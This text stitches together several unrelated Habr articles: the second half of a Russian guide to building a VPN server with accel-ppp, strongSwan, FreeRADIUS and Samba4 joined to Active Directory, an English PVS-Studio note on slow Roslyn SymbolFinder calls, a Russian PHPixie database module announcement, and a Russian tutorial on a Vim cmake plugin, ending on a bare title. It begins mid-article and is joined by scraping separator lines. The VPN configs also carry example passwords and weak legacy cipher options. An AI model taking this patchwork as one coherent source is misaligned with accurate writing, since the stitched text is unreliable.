net.core.netdev\_tstamp\_prequeue = 0
############################
Применяем:
```
sysctl -p
```
Пробуем подключиться с PPTP и L2TP без IPsec с логином и паролем, указанным в **/etc/ppp/chap-secrets**
На самом сервере список подключенных клиентов можно посмотреть командой
```
accel-cmd show session
```
Очень рекомендую прочитать справку по **accel-cmd**, имеет много возможностей, включая изменение метода авторизации пользователей на лету без обрыва сессий
Если все ОК, переходим к следующему пункту
#### 2) IPsec
Ознакомиться с тем, что это и для чего нужно можно кратко [тут](http://xgu.ru/wiki/IPsec)
устанавливаем
```
apt-get -t wheezy-backports install strongswan libcharon-extra-plugins
```
Конфиги приводим к виду:
**nano /etc/ipsec.conf**
**ipsec.conf**
```
# ipsec.conf - strongSwan IPsec configuration file
config setup
# Нужно ли требовать неистекший лист отзывов для проведения аутентификации клиента
strictcrlpolicy=no
include /var/lib/strongswan/ipsec.conf.inc
conn %default
ikelifetime=1440m
keylife=60m
rekeymargin=3m
keyingtries=1
keyexchange=ikev1
authby=xauthpsk
# включает механизм Dead Peer Detection (DPD) и указывает, что нужно забывать о клиенте, если он не отзывался дольше таймаута
dpdaction=clear
# задержка до включения DPD
# dpddelay=35s
# таймаут для DPD
# dpdtimeout=300s
#включение внутренней фрагментации пакетов. Позволяет использовать IPsec с провайдерами, у которых сломана IP-фрагментация пакетов
fragmentation=yes
# выключение инициации смены ключей со стороны сервера. Windows это не любит.
rekey=no
# перечень ciphersuites для использования с IKE
ike=aes256gcm16-aes256gcm12-aes128gcm16-aes128gcm12-aesxcbc-sha256-sha1-modp4096-modp2048-modp1024,aes256-aes128-sha256-sha1-modp4096-modp2048-modp1024!
# перечень ciphersuites для шифрования трафика
esp=aes128gcm12-aes128gcm16-aes256gcm12-aes256gcm16-modp4096-modp2048-modp1024,aes128-aes256-sha1-sha256-modp4096-modp2048-modp1024,aes128-sha1-modp1024,aes128-sha1!
conn L2TP_Accel-PPP
authby=psk
rekey=no
type=transport
esp=aes128-sha1,null-sha1,md5
ike=aes128-sha-modp1024,null-sha1,md5
left=194.135.1.99
leftprotoport=17/%any # при 1701 не пашет на iOS
right=%any
rightprotoport=17/%any
rightsubnetwithin=0.0.0.0/0
auto=add
compress=no
dpddelay=30
dpdtimeout=120
dpdaction=clear
forceencaps=yes
conn IPsec
authby=secret
rekeymargin=3m
keyingtries=1
keyexchange=ikev1
leftfirewall=yes
rekey=no
left=XX.YY.1.99
leftsubnet=0.0.0.0/0
leftauth=psk
rightsourceip=%radius
rightdns=8.8.8.8
right=%any
rightauth=psk
rightauth2=xauth-radius
dpdaction=clear
dpdtimeout = 5s
auto=add
```
Далее указываем наш приватный ключ
**nano /etc/ipsec.secrets**
`: PSK "Sicret-Test-Key"`
Для дальнейшей интеграции с Freeradius также правим
**nano /etc/strongswan.d/charon/eap-radius.conf**
**eap-radius.conf**
```
eap-radius {
accounting = yes
load = yes
nas_identifier = StrongSwan
#Наш секрет для Radius
secret = Radius-Sicret
server = 127.0.0.1
dae {
enable = yes
listen = 127.0.0.1
port = 3799
secret = Radius-Sicret
}
forward {
}
servers {
}
xauth {
}
}
```
Запускаем
```
service ipsec start
```
Статус можно посмотреть так:
```
ipsec statusall
```
#### 3) FreeRadius
[\*для тех, кто не знает что это.](https://ru.wikipedia.org/wiki/FreeRADIUS)
Устанавливаем стандартно
```
apt-get install freeradius freeradius-ldap
```
Правим фаил **/etc/freeradius/clients.conf** в нем содержатся настройки для пользователей FreeRadius, у нас такими выступают локальные демоны Accel-PPP и Strongswan, минимально достаточно следующего содержимого:
```
client localhost {
ipaddr = 127.0.0.1
secret = Radius-Sicret
nastype = cisco
shortname = MY_TEST_VPN
}
```
Теперь подготовим профиль для запуска, стандартный находится тут **/etc/freeradius/sites-enabled/default**, нам необходимо привести его к виду:
**/etc/freeradius/sites-enabled/default**\*пока не настроена интеграция с LDAP необходимо закомментировать все опции связанные с ldap и ntlm\_auth, в дальнейшем раскоментируем одну из них, но не обе сразу, они конфликтуют, если нам не нужны группы из LDAP проще использовать ntlm\_auth, если группы нужны, тогда ldap, в примере рабочий конфиг уже с группами.
```
authorize {
preprocess
chap
mschap
ldap
# ntlm_auth
digest
suffix
eap {
ok = return
}
files
expiration
logintime
pap
}
authenticate {
Auth-Type PAP {
pap
}
Auth-Type CHAP {
chap
}
Auth-Type MS-CHAP {
mschap
}
Auth-Type LDAP {
ldap
}
# Auth-Type ntlm_auth {
# ntlm_auth
# }
digest
unix
eap
}
preacct {
preprocess
acct_unique
suffix
files
}
accounting {
detail
unix
radutmp
exec
attr_filter.accounting_response
}
session {
radutmp
}
post-auth {
exec
Post-Auth-Type REJECT {
attr_filter.access_reject
}
}
pre-proxy {
}
post-proxy {
eap
}
```
Теперь создадим фаил локальных пользователей, а также описание настроек для различных групп из LDAP
**/etc/freeradius/users**
```
#Указываем что пользователь берется из локального файла, его имя и пароль,
# можно откртым текстом либо зашифровать через
#perl -e 'print(crypt("testpassword","abrakadabra")."\n");'
#Тогда указываем сразу зашифрованно
#testuser Crypt-Password := "abA5hjwYqm1.I"
testuser Cleartext-Password := "testpassword" , MS-CHAP-Use-NTLM-Auth := 0
Service-Type = Framed-User,
Framed-Protocol = PPP,
# Можно не указывать конкретный IP, тогда он возьмется автоматически из пула, переданного в Framed-Pool
Framed-IP-Address = 10.65.18.12,
Framed-IP-Netmask = 255.255.255.255,
# Пул из которого берем адреса для клиентов, описан в секции ip-pool конфига accel-ppp
Framed-Pool = "office",
# Скорость шейпера в килобитах на пользователя.
Filter-Id = "100000/100000",
# В ответе указываем что авторизация взята из локального файла, удобно для тестов
Reply-Message = "Accepted from local file"
# Можно указать дополнительно любые другие параметры соединения
# такие как Idle-Timeout, Acct-Interim-Interval и т.п.
# Описываем привязку к различным группам LDAP, например привязываем доменную группу
# remote-connection к группе office, описанной в секции ip-pool конфига accel-ppp
DEFAULT Ldap-Group == "remote-connection"
Service-Type = Framed-User,
Framed-Protocol = PPP,
Framed-Pool = "office",
Filter-Id = "100000/100000"
# Остальные группы по аналогии
DEFAULT Ldap-Group == "full-access"
Service-Type = Framed-User,
Framed-Protocol = PPP,
Framed-Pool = "fullaccess"
# Админская группа уберем для нее шейпер
# Filter-Id = "100000/100000"
DEFAULT Ldap-Group == "mobile-access"
Service-Type = Framed-User,
Framed-Protocol = PPP,
Framed-Pool = "mobila",
Filter-Id = "100000/100000"
```
Перезапустим радиус
```
service freeradius restart
```
\*Для отладки можно запускать в режиме вывода лога на терминал **freeradius -X**
Если все ОК и ошибок в запуске нет, проверим тестового пользователя:
```
radtest testuser testpassword 127.0.0.1 0 Radius-Sicret
```
мы должны получить ответ вида:
```
Sending Access-Request of id 238 to 127.0.0.1 port 1812
User-Name = "testuser"
User-Password = "testpassword"
NAS-IP-Address = XX.YY.1.99
NAS-Port = 0
Message-Authenticator = 0x00000000000000000000000000000000
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=238, length=105
Service-Type = Framed-User
Framed-Protocol = PPP
Framed-IP-Address = 10.65.18.12
Framed-IP-Netmask = 255.255.255.255
Framed-Pool = "office"
Filter-Id = "100000/100000"
Reply-Message = "Accepted from local file"
```
Если в ответе есть **Access-Accept**, то все хорошо и можно переходить к настройке интеграции Freeradius с LDAP, конфиги помещаю в этой секции заранее, нам надо подправить:
**nano /etc/freeradius/modules/ntlm\_auth**
\*вместо KR.LOC просто указываем свой домен
```
exec ntlm_auth {
wait = yes
program = "/usr/bin/ntlm_auth --request-nt-key --domain=KR.LOC --username=%{mschap:User-Name} --password=%{User-Password}"
}
```
Чуток подправим авторизацию через mschap, т.к. pap использовать не безопасно.
**nano /etc/freeradius/modules/mschap**
```
mschap {
#Используем шифрование
use_mppe = yes
# Но разрешаем подключаться и без шифрования, для некоторых клиентов это важно, если таких нет - заменить на yes
require_encryption = no
require_strong = yes
with_ntdomain_hack = no
ntlm_auth = "/usr/bin/ntlm_auth --request-nt-key --username=%{%{Stripped-User-Name}:-%{%{User-Name}:-None}} --challenge=%{%{mschap:Challenge}:-00} --nt-response=%{%{mschap:NT-Response}:-00}"
}
```
ну и самое важное, непосредственно интеграция с LDAP
**nano /etc/freeradius/modules/ldap**
**приводим к виду**\*не забываем параметры доступа к ldap сменить на свои, пользовательская учетка должна иметь права на чтение профилей в домене.
```
ldap {
server = "10.13.205.7" #свой контроллер
identity = "sf-test@KR.LOC" #своя учетка
password = "987654321" # свой пароль
basedn = "dc=KR,dc=LOC" # свой домен
filter = "(sAMAccountName=%{%{Stripped-User-Name}:-%{User-Name}})"
ldap_connections_number = 5
max_uses = 0
#port = 389
timeout = 4
timelimit = 3
net_timeout = 1
tls {
start_tls = no
}
dictionary_mapping = ${confdir}/ldap.attrmap
password_attribute = userPassword
edir_account_policy_check = no
groupname_attribute = cn
groupmembership_filter = "(|(&(objectClass=GroupOfNames)(member=%{control:Ldap-UserDn}))(&(objectClass=GroupOfUniqueNames)(uniquemember=%{control:Ldap-UserDn})))"
groupmembership_attribute = memberOf
access_attr_used_for_allow = yes
chase_referrals = yes
rebind = yes
# set_auth_type = yes
keepalive {
idle = 60
probes = 3
interval = 3
}
}
```
Еще один важный момент, для того чтоб получать radius атрибуты для конкретного пользователя прямо из ldap атрибутов домена необходимо настроить соответствие их между собой, это делается в файле **/etc/freeradius/ldap.attrmap** там многое уже заполнено и интуитивно понятно, но для примера покажу несколько своих:
```
replyItem Framed-IP-Address msRADIUSFramedIPAddress
replyItem Framed-Pool msRADIUSFramedRoute
```
Таким образом указав в домене у пользователя персональный атрибут **msRADIUSFramedIPAddress** мы передадим радиусу считать его атрибутом **Framed-IP-Address** и выдать пользователю конкретно его по VPN, для пулов по аналогии.
Со стороны домена это выглядит так:
IP необходимо преобразовать в HEX на любом [IP калькуляторе](http://www.miniwebtool.com/ip-address-to-hex-converter/), можно конечно создать и любые свои атрибуты для ldap, через редактор атрибутов, но для ускоренного описания будем использовать стандартные.
\*данные опции станут доступны после настройки samba4, необходимо не забыть раскомментировать секцию **ldap** в **/etc/freeradius/sites-enabled/default**
#### 4) SAMBA 4
[\*краткая справка](https://ru.wikipedia.org/wiki/Samba)
Для начала установим все необходимое:
```
apt-get install krb5-user libpam-krb5 samba winbind libnss-winbind libpam-winbind -t wheezy-backports
```
Настройки samba находятся в файле /etc/samba/smb.conf
**smb.conf**\*не забываем менять имя домена на свое.
```
[global]
obey pam restrictions = Yes
log file = /var/log/samba/log.%m
log level = 1
socket options = TCP_NODELAY SO_SNDBUF=8192 SO_RCVBUF=8192
encrypt passwords = yes
idmap config * : range = 10000-20000
idmap config * : backend = tdb
auth methods = winbind
name resolve order = hosts bcast lmhosts
case sensitive = no
dns proxy = no
netbios name = SAMBA
server string = %v samba
password server = DC02.KR.LOC
# обязательно указывать имя домена в верхнем регистре
realm = KR.LOC
client use spnego = yes
client signing = yes
local master = no
domain master = no
preferred master = no
workgroup = KR
debug level = 2
# ads указывает что авторизация проходит на уровне домена
security = ads
unix charset = UTF-8
dos charset = 866
max log size = 50
os level = 0
follow symlinks = yes
winbind uid = 10000-20000
winbind gid = 10000-20000
winbind enum groups = yes
winbind enum users = yes
```
Теперь настроим winbind (позволяет Самбе узнавать пользователей AD и общаться с ними как с локальными).
Нам необходимо отредактировать фаил **/etc/nsswitch.conf** , добавляем в него:
```
passwd: compat winbind
group: compat winbind
shadow: compat winbind
```
Осталось настроить Kerberos (используется для интеграции Samba в Active Directory)
Приводим фаил **/etc/krb5.conf** к виду
**krb5.conf**\*Домен меняем на свой.
```
[logging]
default = FILE:/var/log/krb5.log
kdc = FILE:/var/log/krb5kdc.log
[libdefaults]
default_realm = KR.LOC
clockskew = 500
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 324000
[realms]
KR.LOC = {
kdc = DC02.KR.LOC
admin_server = DC02.KR.LOC
default_domain = KR.LOC
}
[domain_realm]
.kr.loc = KR.LOC
[login]
krb4_convert = true
krb4_get_tickets = false
```
Конфиги поправлены, можно перезапустить сервисы:
```
service samba restart
service winbind restart
```
Проверяем для своего доменного пользователя:
```
kinit sf-test@KR.LOC
```
Получаем запрос на ввод пароля, вводим.
```
Password for sf-test@KR.LOC:
```
Если все ОК, вывода на экран не будет, если все-же что-то выводит, внимательно читаем и правим ошибки в конфиге.
Считаем что у вас все хорошо и вводим сервер в домен
```
net join –U sf-test@KR.LOC
```
Проверим работу winbind:
```
wbinfo -u
wbinfo -g
```
В выводе должны видеть список доменных пользователей и групп.
Что бы проверить воспринимаются ли доменные пользователи как локальные, можно воспользоваться командой:
```
id domain_user
```
Проверяем работу модуля аутентификации (логин/пароль/домен — естественно свои)
```
ntlm_auth --request-nt-key --domain=KR.LOC --username=sf-test --password=123456789
```
Получили OK, значит можно раскомментировать в конфиге радиуса модуль ldap или ntlm\_auth (если не нужны доменные группы), перезапускать freeradius и наслаждаться работой VPN сервера с учетками домена, но для успокоения совести проверим что радиус авторизирует доменных пользователей:
```
radtest -t mschap sf-test 123456789 127.0.0.1 0 Radius-Sicret
```
Теперь можно создавать VPN подключение у себя и проверять всю связку.
#### 5) Бонус
Пролистывая заметку еще раз посмотрел на схему сети и вспомнил, что у нас есть соединения site-to-site для IPsec — это так-же удобно если пользователям ВПН необходимо давать доступ в другие сети, все это реализовано фаирволом, но пример настройки strongswan для такого соединения привожу ниже.
**ipsec.conf**В **/etc/ipsec.conf** добавляем в конец секцию:
```
conn juniper
forceencaps=yes
dpddelay=30 # Dead peer detection - 30 секунд - интервал между keep-alive пакетами
dpdtimeout=120 # dpd таймаут 120 секунд, после которого хост будет объявлен недоступным
# IKE alg 3DES - HASH sha1 - DH group 2 (1024)
ike=3des-sha1-modp1024
# IKE lifetime 86400 seconds (24 hours)
ikelifetime=86400s
# IKE auth method Pre-Shared Key (PSK secret)
authby=secret
# IPSec type tunnel
type=tunnel # режим - туннель
#left side (myside)
left=ХХ.УУ.1.99 # OpenSWAN side
leftsubnet=10.65.0.0/16 #наши локальные сети, которые мы экспортируем удаленному маршрутизатору
right=ХХ.УУ.116.5 #Удаленный маршрутизатор
rightsubnet=192.168.105.0/24 #Сети с удаленного маршрутизатора, которые доступны пользователям нашего VPN
auto=start
esp=3des-sha1,3des-md5
keyexchange=ikev1
```
#### Заключение.
Надеюсь все получилось с первого раза и сразу заработало, если это не так — задавайте вопросы в комментариях. Автор паталогически безграмотен, если увидели ошибку, опечатку, не однозначность или любой другой момент, мешающий восприятию заметки — просьба сообщать в личку. Всем спасибо за потраченное время. | https://habr.com/ru/post/267103/ | null | ru | null |
# Roslyn API: Why PVS-Studio Was Analyzing the Project So Long
How many of you have used third-party libraries when writing code? It's a catchy question. Without third-party libraries the development of some products would be delayed for a very, very long time. One would have to reinvent the wheel to solve each problem. When you use third-party libraries you still stumble upon some pitfalls in addition to obvious advantages. Recently PVS-Studio for C# has also faced one of the deficiencies. The analyzer could not finish analyzing a large project for a long time. It was due to the use of the SymbolFinder.FindReferencesAsync method from the Roslyn API in the V3083 diagnostic.
Life in PVS-Studio was going on as usual. We kept on writing new diagnostics, improving the analyzer, posting new articles. Bang! One of the analyzer users had the analysis going on a large project during the day and could not end in any way. Alarm! Alarm! All hands on deck! After getting dump files from the user we shifted our focus to find out the reasons for long analysis. It turned out that 3 C# diagnostics worked the longest. One of them was the diagnostic number V3083. This diagnostic has already had our special attention. The time has come to take specific actions! V3083 warns about incorrect C# event calls. For example, in the code:
```
public class IncorrectEventUse
{
public event EventHandler EventOne;
protected void InvokeEventTwice(object o, Eventers args)
{
if (EventOne != null)
{
EventOne(o, args);
EventOne.Invoke(o, args);
}
}
}
```
V3083 will point to calls to event handlers of *EventOne* in the *InvokeEventTwice* method. You can learn more about the reasons why this code is dangerous in this diagnostic's [documentation](https://pvs-studio.com/en/w/v3083/). From the outside, the logic of the V3083 is very simple:
* find an event call;
* check if this event is called correctly;
* issue a warning if the event is called incorrectly.
Now when we know that it is so simple, it becomes even more interesting to get the reason for the long diagnostic work.
### Reason for the slowdown
In fact, the logic is a little more complicated. In each file for each type V3083 creates only one analyzer warning for an event. In this warning, V3083 writes all line numbers of cases when the event is incorrectly called. This helps to navigate in various plugins: [Visual Studio](https://pvs-studio.com/en/b/0635/), [Rider](https://pvs-studio.com/en/m/0052/), [SonarQube](https://pvs-studio.com/en/m/0037/). It turns out that the first step is to find all the places where the event is called. For a similar task, Roslyn API already had the *SymbolFinder.FindReferencesAsync* method. It was used in V3083, so as not to reinvent the wheel.
Many guidelines recommend using this method: [first](https://dotnetdevlife.wordpress.com/2018/10/17/using-roslyn-to-find-all-references/), [second](https://riptutorial.com/roslyn/example/30101/get-all-the-references-to-a-method), [third](https://coderoad.ru/44167269/Roslyn-SymbolFinder-%D0%BF%D1%80%D0%B5%D0%BE%D0%B1%D1%80%D0%B0%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5-%D0%BC%D0%B5%D1%81%D1%82%D0%BE%D0%BF%D0%BE%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B2-%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9-%D1%83%D0%B7%D0%B5%D0%BB) and others. Perhaps, in some simple cases, the speed of this method is enough. However, the larger the project's codebase, the longer this method will run. We were 100% sure of this only after changing V3083.
### V3083 speed up after the change
If you change a diagnostic's code or the analyzer core, you need to check that nothing that worked before is broken. To do this, we have positive and negative tests for each diagnostic, unit tests for the analyzer core, as well as a database of open-source projects. There are almost 90 projects in it. Why do we need a database of open-source projects? We use it to run our analyzer to test the tool in field conditions. Also this run serves as an additional check that we have not broken anything in the analyzer. We already had a run of the analyzer on this base before the V3083 change. All we had to do is to make a similar run after changing V3083 and figure out the time gain. The results turned out to be a pleasant surprise! We got a 9% speedup on tests without using *SymbolFinder.FindReferencesAsync*. These figures might seem insignificant to someone. Well, check out the specs of the computer that we used for measurements:
Hopefully even the most cynical skeptics have fully realized the scale of the problem that lived quietly in the V3083 diagnostic.
### Conclusion
Let this note be a warning to everyone who uses the Roslyn API! This way you will not make our mistakes. Not only does this apply to the *SymbolFinder.FindReferencesAsync* method. It is also about other *Microsoft.CodeAnalysis.FindSymbols.SymbolFinder* class methods that use the same mechanism.
I also highly recommend that all developers review libraries they use. I say this for a reason! Why is it so important? Check out our other notes to find out why: [first](https://pvs-studio.com/en/b/0762/), [second](https://pvs-studio.com/en/b/0654/). They cover this topic in more detail.
Apart from developing diagnostics we've been busy optimizing PVS-Studio. Don't miss future articles and notes to find out about changes!
We haven't released the V3083 diagnostic fix, therefore the analyzer version 7.12 works using *SymbolFinder.FindReferencesAsync*.
As I mentioned earlier, we found the analyzer slowdown in two other C# diagnostics besides V3083. How do you think, which ones are these diagnostics? Just for the sake of interest, leave your ideas in comments. When there are more than 50 suggestions, I will open the veil of secrecy and call the numbers of these diagnostics. | https://habr.com/ru/post/553786/ | null | en | null |
# Закончен новый модуль базы данных для PHPixie
Сегодня я написал последний тест для версии 3.0 модуля доступа к БД для [PHPixie](http://phpixie.com/). Когда я начал казалось что это займет всего несколько недель, но на самом деле все растянулось на где-то 2 месяца из-за огромного количества рефакторинга и переписывания сначала. Зато теперь мы имеем расширяемую библиотеку, которую можно использовать даже вне самого фреймворка (то есть если вас заставят писать на каком-то другом фреймворке или CMS вы сможете захватить свою любимую библиотеку с собой).
Я сделаю релиз после того как закончу модуль ORM и поправлю существующие модули для работы с новым API. Но если вам интересно вы можете заглянуть в [ветку 3.0 на гитхабе](http://phpixie.com/blog/new-phpixie-database-module-finished/) (следует однако предупредить что документации там пока нет, она появится вместе с ORM). А теперь давайте посмотрим на новые возможности.
##### С точки зрения среднестатистического пользователя
Я уже писал о продвинутой поддержке запросов с логическими условиями для MongoDB [здесь](http://phpixie.com/blog/mongodb-driver-almost-here/), но если вам лень кликнуть по этой ссылке, то вот краткое объяснение: MongoDB не использует индексы при использовании запросов типа “*(A or B) OR ( C and (D or E))*”, так что PHPixie сама приведет запросы в такие формы которые будут их использовать.
Стали доступны несколько подходов для построения запросов:
```
$query
->where('name', 'Trixie')
->or_where('name', 'Tinkerbell')
->where_not('id', '>', 7)
->having('count','<', 5)
->or_having('count', 7);
//Или попроще:
$query
->where('name', 'Trixie')
->_or('name', 'Tinkerbell')
->_and_not('id', '>', 7)
->having('count', '<', 5)
->_or('count', 7);
//Заметьте как метод _or запоминает контекст в котором используется
//(то есть работает как для 'where' так и для 'having')
```
Несколько подходов к вложенной логике:
```
$query
->where('name','Trixie')
->_or(function($builder){
$builder
->_and('id',7)
->_or('id',5)
});
//WHERE name = 'Trixie' OR ( id = 7 OR id = 5 )
//Или если вам не нравятся коллбеки
//(также удобно при динамическом формировании запроса, например с EXT JS гридом)
$query->where('name','Trixie');
$query
->start_where_group('or')
->_and('id',7)
->_or('id',5)
->end_where_group();
```
Специальные операторы для сравнения колонок:
```
$query->where('fairies.id','*=','pixies.id');
```
Возможность использования вставок SQL кода с отдельными параметрами:
```
$expr = $this->db->expr('concat(name, ?)', array('test'));
$query->where($expr, 'Trixietest');
//WHERE concat(name, ?) = 'Trixietest';
```
Поиск строк по NULL значению, не зная наперед что это NULL:
```
$category_id = null;
$query->where('category_id', $category_id);
//даст WHERE category_id IS NULL
//а не WHERE category_id = NULL
```
Сложные условия для JOIN....ON используя уже знакомый синтакс:
```
$query->join('pixies');
//По умолчанию сравниваться будут колонки
$query->on('fairies.id','pixies.id');
//Можем добавить условий и посложнее
$query->on('fairies.count','*>','pixies.count');
```
##### C точки зрения продвинутого разработчика
* Невероятно легкий, всего 57 килобайт кода
* Строители запросов (query builders) не содержат никакой логики относящийся к их парсингу (например в SQL код). Вместо этого каждый драйвер использует свой Parser сервис, делая сами объекты запросов легкими и дешевыми с точки зрения памяти. Использование парсеров как сервисы делает дебаг и расширение их тривиальными задачами. К слову каждый парсер создастся в памяти только раз для всех запросов.
* Каждый парсер разделен на парсеры отдельных условий и групп условий (Condition Group Parser). Такое разделение позволяет легко добавить свои кастомные операторы.
* Связывание зависимостей вынесено в отдельные классы драйверов, то есть ни в одном случае (кроме как выбрасывания исключений) ни один класс не создает объекты сам используя команду *new*. Это позволяет легко заменить любой класс на свою имплементацию.
* Запросы к MongoDB парсаються в специальные Runner объекты, которые легко поддаются дебагу на случай ошибки.
* SQL базы данных которые работают через PDO имеют свои отдельные адаптеры и парсеры что позволяет легко добавить поддержку любой базы данных с которой работает PDO используя минимум кода.
**Код полностью покрыт PHPUnit тестами, что дает 166 тестов и 1151 сравнение.**
Я надеюсь что этот пост передаст мою радость с проделанной работы и что финальный релиз ORM модуля уже недалеко. | https://habr.com/ru/post/205710/ | null | ru | null |
# Пишем плагин для поддержки cmake проектов под vim
Сегодня поговорим о создании дополнений для VIM.
Недавно у меня возникла идея вкрутить в него поддержку cmake проектов для удобной навигации по файлам. С этой задачей, конечно, вполне справится NERD Tree, но в последнем нельзя оперировать исключительно файлами проекта.
Ахтунг: Автор статьи впервые познакомился с Vim Script. Он не гарантирует, что вы не упадете в обморок после прочтения статьи. Любые пожелания касательно кода оставляйте в комментариях.
Плагин управления cmake проектами должен по команде cmake создать необходимые файлы для сборки в папке «build» и отобразить панельку с деревом файлов, нажимая на элементы которых можно легко достучаться к файлам исходников.
И так, начнем реализовывать.
Если залезть глубоко в недрах файлов, созданных с помощью cmake, можно обнаружить в каком месте он хранит список зависимых исходных файлов. Сделаем поиск на наличие строк с cppшниками полутопорным образом:
```
grep ".*\.cpp" -R build/
```
Я обнаружил в DependInfo.cmake переменную с таким содержанием
```
SET(CMAKE_DEPENDS_CHECK_CXX
"/home/..../brushcombo.cpp" "/home/.../build/CMakeFiles/kdots.dir/brushcombo.o"
...
)
```
Находим все файлы DependInfo.cmake в дирректории и находим полные пути к файлам с помощью Perl скрипта.
```
sub cmake_project_files {
my $dir = shift;
my @dependencies = File::Find::Rule->file()
->name("DependInfo.cmake")
->in($dir);
my @accum = ();
foreach my $filename(@dependencies) {
open(FILE, $filename);
my @data = ;
push (@accum, src\_files(\@data));
close(FILE);
}
return @accum;
}
sub src\_files {
my @result = ();
foreach my $line(@{(shift)}) {
if ($line =~ m/\s\*\"(([a-zA-Z\_\/]+)\/([a-zA-Z\_]+\.(cpp|cc))).\*/) {
push(@result, $1);
}
}
return @result;
}
```
Полный исходник [тут](https://raw.github.com/Ignotus/vim-cmake-project/master/plugin/cmake-project/cmakeproject.pm).
Прежде чем привязать эти функции к плагину, разберемся в иерархии директорий в ~/.vim.
* plugin — сюда помещаются плагины, которые должны загружаться при каждом запуске VIM
* ftplugin — сюда помещаются плагины, которые запускаются только для определенных типов файлов
* autoload — для хранения общих функций
* syntax — подсветка синтаксиса
Так как наш плагин должен загружаться при каждом запуске редактора, поместим его в ~/.vim/plugin. Назвем файл как cmake-project.vim.
Проверим наличие perl интерпретатора:
```
if !has('perl')
echo "Error: perl not found"
finish
endif
```
Создадим функцию для генерации дерева файлов. Функции, а также переменные можно создавать с разными областями видимости (прочитать об этом можно [тут](http://www.ibm.com/developerworks/linux/library/l-vim-script-1/index.html)). Эта функция в начале создает новое окно и буфер с именем «CMakeProject».
```
function! s:cmake_project_window()
vnew
badd CMakeProject
buffer CMakeProject
"Нужно указать, что это не файл, чтобы при выходе, VIM не заставлял сохранять изменения
setlocal buftype=nofile
...
```
Для определения является ли наш текущий буфер панелью с деревом файлов, объявим переменную (с областью видимости внутри плагина) с именем буфера.
```
let s:cmake_project_bufname = bufname("%")
```
А теперь привяжем Perl скрипт к плагину. Скрипт поместим в директорию ~/.vim/plugin/cmake-project чтобы use lib ее смог найти. Получаем список файлов из функции cmakeproject::cmake\_project\_files и поместим в вимовский список.
```
perl << EOF "Тоже самое можете сделать для Python или для Ruby
use lib "$ENV{'HOME'}/.vim/plugin/cmake-project";
use cmakeproject;
my $dir = VIM::Eval('g:cmake_project_build_dir');
my @result = cmakeproject::cmake_project_files($dir);
VIM::DoCommand("let s:cmake_project_files = []");
foreach $filename(@result) {
if (-e $filename) {
VIM::DoCommand("call insert(s:cmake_project_files, \'$filename\')");
}
}
EOF
```
Далее на базе этих данных строим дерево. В vim есть несколько структур данных: хэши и списки. Поэтому директорию представим как ключ в хэше. Если ключ хэша указывает на что-нибудь (не 1), то это директория, а если на 1, то это файл, находящийся в директории.
Код, приведенный ниже преобразовывает строку вида "/home/paranoik/main.cpp" в структуру вида {'home': {'paranoik': {'main.cpp': 1}}, где {key: value} — хэш с 1 парой ключ-значение.
```
let s:cmake_project_file_tree = {}
for fullpath in s:cmake_project_files
let current_tree = s:cmake_project_file_tree
let cmake_project_args = split(fullpath, '\/')
let filename = remove(cmake_project_args, -1)
for path in cmake_project_args
if !has_key(current_tree, path)
let current_tree[path] = {} "Создаем пустой хэщ
endif
let current_tree = current_tree[path]
endfor
let current_tree[filename] = 1
endfor
call s:cmake_project_print_bar(s:cmake_project_file_tree, 0)
```
Теперь определим функцию для отображения дерева в буфере. В зависимости от уровня иерархии определяются отступы в виде пробелов (за это отвечает фунция s:cmake\_project\_indent).
```
function! s:cmake_project_print_bar(tree, level)
for pair in items(a:tree)
if type(pair[1]) == type({}) "Если это директория
let name = s:cmake_project_indent(a:level) . "-" . pair[0]
call append(line('$'), name . "/") "Выводим в виде "-/"
let newlevel = a:level + 1
call s:cmake\_project\_print\_bar(pair[1], newlevel) "Отображаем поддиректории и зависимые файлы путем рекурсии.
else "Если это файл
let name = s:cmake\_project\_indent(a:level) . pair[0]
call append(line('$'), name)
endif
endfor
endfunction
```
Привяжем функцию s:cmake\_project\_window() к команде CMakePro
```
command -nargs=0 -bar CMakePro call s:cmake_project_window()
```
Также нам необходима команда для генерации cmake файлов.
```
command -nargs=1 -bar CMake call s:cmake_project_cmake()
function! s:cmake\_project\_cmake(srcdir)
if !isdirectory(a:srcdir)
echo "This directory not exists!" . a:srcdir
return
endif
let s:cmake\_project\_dir = a:srcdir
exec "cd" a:srcdir
if !isdirectory(g:cmake\_project\_build\_dir)
call mkdir(g:cmake\_project\_build\_dir)
endif
cd build
exec "!cmake" "../"
cd ..
call s:cmake\_project\_window()
endfunction
```
При движении курсора по панели, должен открываться файл под курсором. Создадим функцию s:cmake\_project\_cursor\_moved() и привяжем ее к сигналу CursorMoved.
```
autocmd CursorMoved * call s:cmake_project_cursor_moved()
```
Для того, чтобы функция работала только с буфером панели, проверяем его имя перед выполнением.
```
function! s:cmake_project_cursor_moved()
if exists('s:cmake_project_bufname') && bufname('%') == s:cmake_project_bufname
`endif
endfunction`
```
Получаем данные текущей строки и выделяем слово под курсором.
```
let cmake_project_filename = getline('.')
let fullpath = s:cmake_project_var(cmake_project_filename)
let highlight_pattern = substitute(fullpath, '[.]', '\\.', '')
let highlight_pattern = substitute(highlight_pattern, '[/]', '\\/', '')
exec "match" "ErrorMsg /" . highlight_pattern . "/"
```
Определим директорию, в которой находится файл через отступы. Если файл является элементом n-того уровня, то директория, в которой находится файл является ближайщий элемент сверху с отступами n-1-ого уровня.
```
let level = s:cmake_project_level(cmake_project_filename)
let level -= 1
let finding_line = s:cmake_project_find_parent(level, line('.'))
while level > -1
let path = s:cmake_project_var(getline(finding_line))
let fullpath = path . fullpath
let level -= 1
let finding_line = s:cmake_project_find_parent(level, finding_line)
endwhile
let fullpath = "/" . fullpath "формируем путь путем конкатенации элементов
```
Открываем необходимый файл
```
if filereadable(fullpath)
wincmd l
exec 'e' fullpath
setf cpp
endif
endif
```
В итоге получилось:
Исходники брать здесь: [](https://github.com/Ignotus/vim-cmake-project) | https://habr.com/ru/post/153873/ | null | ru | null |
# Глубина резкости в компьютерной графике
